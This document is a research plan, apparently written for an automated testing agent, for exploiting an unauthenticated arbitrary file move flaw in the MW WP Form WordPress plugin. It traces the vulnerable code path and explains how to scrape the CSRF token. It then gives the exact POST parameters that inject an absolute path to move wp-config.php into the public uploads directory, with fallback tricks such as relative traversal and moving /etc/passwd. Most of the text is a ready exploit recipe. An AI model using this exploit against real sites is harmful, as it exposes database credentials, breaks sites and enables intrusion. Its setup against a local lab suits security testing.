MW WP Form <= 5.1.1 - Unauthenticated Arbitrary File Move via regenerate_upload_file_keys

This research plan outlines the exploitation of CVE-2026-5436, an unauthenticated arbitrary file move/read vulnerability in the MW WP Form plugin.

1. Vulnerability Summary

The vulnerability exists due to improper path validation in MW_WP_Form_Directory::generate_user_file_dirpath(). The function uses WordPress's path_join() to combine a base temporary directory with a user-supplied directory name ($name). If $name is an absolute path, path_join() returns it unchanged, allowing an attacker to escape the intended directory.

When a form is submitted, the plugin processes file attachments. If the "Saving inquiry data in database" option is enabled, it resolves the file paths and moves them from the temporary directory to the permanent uploads directory using rename(). By injecting an absolute path as the key in the mwf_upload_files[] parameter, an attacker can trick the plugin into moving arbitrary files (like wp-config.php) from their original location into the publicly accessible uploads folder.

2. Attack Vector Analysis

• Endpoint: The main site frontend where an mwform shortcode is rendered.
• Hook: template_redirect (via MW_WP_Form_Main_Controller::_template_redirect()).
• Vulnerable Parameter: mwf_upload_files[] (an array where the key is the directory path and the value is the filename).
• Authentication: Unauthenticated.
• Preconditions:
  1. A form must exist with at least one file upload field.
  2. The "Saving inquiry data in database" option must be enabled for that form.
  3. The attacker must know the absolute path to the target file (standard WordPress installs use /var/www/html/).

3. Code Flow

1. Request Entry: MW_WP_Form_Main_Controller::_template_redirect() (Line 121, class.main.php) is called.
2. Data Ingestion: MW_WP_Form_Data::connect() (Line 144, class.main.php) is called, which triggers _set_request_valiables() (Line 183, class.data.php), loading all $_POST data (including the malicious mwf_upload_files array) into the $this->variables property.
3. Condition Check: If $_POST['token'] is provided and no buttons are pressed, get_post_condition() returns 'complete'.
4. File Processing: _template_redirect calls _file_upload() (Line 160, class.main.php), which calls MWF_Functions::regenerate_upload_file_keys().
5. Path Resolution: regenerate_upload_file_keys calls MW_WP_Form_Directory::generate_user_filepath($form_id, $name, $filename).
6. Traversal Sink: generate_user_file_dirpath($form_id, $name) (Line 64, class.directory.php) calls path_join($user_dir, $name). If $name is /var/www/html/, it returns /var/www/html/.
7. Validation Bypass: generate_user_filepath (Line 150) checks is_dir($user_file_dir). Since /var/www/html/ exists, it proceeds. The final path becomes /var/www/html/wp-config.php.
8. The Move: MW_WP_Form_Main_Controller::_send() (Line 245, class.main.php) identifies that database saving is enabled (usedb). It calls MWF_Functions::move_temp_file_to_upload_dir(), which executes rename('/var/www/html/wp-config.php', '.../wp-content/uploads/mw-wp-form_uploads/...').

4. Nonce Acquisition Strategy

The plugin uses a custom CSRF token implementation (MW_WP_Form_Csrf). The token is required for the _template_redirect logic to proceed.

1. Identify Form: Find a page containing a form generated by the plugin.
2. Navigate: Use browser_navigate to that page.
3. Extract: The token is stored in a hidden input field named token.
   • JS Command: browser_eval("document.querySelector('input[name=token]').value").
4. Form ID: Extract the form ID from the hidden field mw-wp-form-form-id.
   • JS Command: browser_eval("document.querySelector('input[name=\"mw-wp-form-form-id\"]').value").

5. Test Data Setup

1. Create Form: Create a new mw-wp-form post.
   • wp post create --post_type=mw-wp-form --post_title="Vuln Form" --post_status=publish
2. Configure Form:
   • Add a file field: [mwform_file name="upload_field"].
   • Enable Database storage: wp post meta update [FORM_ID] usedb 1.
3. Publish Page: Place the form shortcode on a public page.
   • wp post create --post_type=page --post_title="Contact" --post_status=publish --post_content='[mwform_formkey key="[FORM_ID]"]'

6. Exploitation Strategy

Perform an unauthenticated HTTP POST request to the page where the form is hosted.

• URL: http://localhost:8080/contact/
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body Parameters:
  • mw-wp-form-form-id: [FORM_ID]
  • token: [EXTRACTED_TOKEN]
  • mwf_upload_files[/var/www/html/]: wp-config.php
  • upload_field: (Leave empty, or provide dummy value if required by validation)

7. Expected Results

1. The plugin will process the request and treat /var/www/html/wp-config.php as an uploaded attachment.
2. The file wp-config.php will be moved (deleted from root, moved to uploads).
3. The moved file will be located at: http://localhost:8080/wp-content/uploads/mw-wp-form_uploads/[PATH_TO_FILE]
   • The path typically follows the structure: mw-wp-form_uploads/[TOKEN]/[FORM_ID]/[ENCODED_KEY]/wp-config.php.
   • In version 5.0+, the filename might be renamed to something like /var/www/html/-wp-config.php.

8. Verification Steps

1. Confirm Move: Use WP-CLI to check if the site is broken (since wp-config.php is gone).
   • ls /var/www/html/wp-config.php (Should return "No such file").
2. Locate Target: Check the uploads directory for the moved file.
   • find /var/www/html/wp-content/uploads/mw-wp-form_uploads/ -name "*wp-config.php*"
3. Read Secrets: Cat the moved file to prove it was successfully read/moved.

9. Alternative Approaches

If the absolute path /var/www/html/ is incorrect:

• Use mwf_upload_files[../]=wp-config.php to attempt relative traversal if the temporary directory depth is known.
• If wp-config.php is protected by rename() permissions, attempt to move /etc/passwd to a world-readable directory.
• If the "complete" condition is hard to trigger, attempt to trigger the "confirm" condition (mwf_confirm_button=1), which also calls _file_upload() and might move files to a temporary location that can still be guessed.